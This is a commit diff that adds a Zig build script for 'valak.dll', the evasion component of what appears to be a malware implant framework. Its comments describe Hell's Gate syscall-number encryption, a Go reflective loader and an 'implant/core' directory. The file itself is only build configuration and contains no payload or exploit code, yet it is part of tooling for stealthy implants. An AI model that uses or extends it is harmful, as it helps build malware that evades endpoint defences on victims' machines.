update readme

evasion/build.zig

@@ -0,0 +1,38 @@
+// 1. Target config — x86_64-windows-gnu, optimised+stripped (unless Debug).
+// 2. Single-threaded — no TLS, Zig runtime stays minimal.
+// 3. Assembly: arch/hells_gate.s — Hell's Gate SSN encryption + Hell Descent arg dispatch.
+// 4. Link system DLLs: kernel32, ntdll, advapi32, crypt32 (Go handles the rest via manual map).
+// 5. Output: valak.dll — Go's reflective loader copies this from zig-out/bin/ to implant/core/.
+const std = @import("std");
+
+pub fn build(b: *std.Build) void {
+    const target = b.standardTargetOptions(.{ .default_target = .{
+        .cpu_arch = .x86_64,
+        .os_tag = .windows,
+        .abi = .gnu,
+    } });
+    const optimize = b.standardOptimizeOption(.{});
+    const strip = optimize != .Debug;
+
+    const module = b.createModule(.{
+        .root_source_file = b.path("main.zig"),
+        .target = target,
+        .optimize = optimize,
+        .strip = strip,
+        .single_threaded = true,
+    });
+
+    module.addAssemblyFile(b.path("arch/hells_gate.s"));
+    module.linkSystemLibrary("kernel32", .{});
+    module.linkSystemLibrary("ntdll", .{});
+    module.linkSystemLibrary("advapi32", .{});
+    module.linkSystemLibrary("crypt32", .{});
+
+    const lib = b.addLibrary(.{
+        .name = "valak",
+        .root_module = module,
+        .linkage = .dynamic,
+    });
+    lib.subsystem = .Windows;
+    b.installArtifact(lib);
+}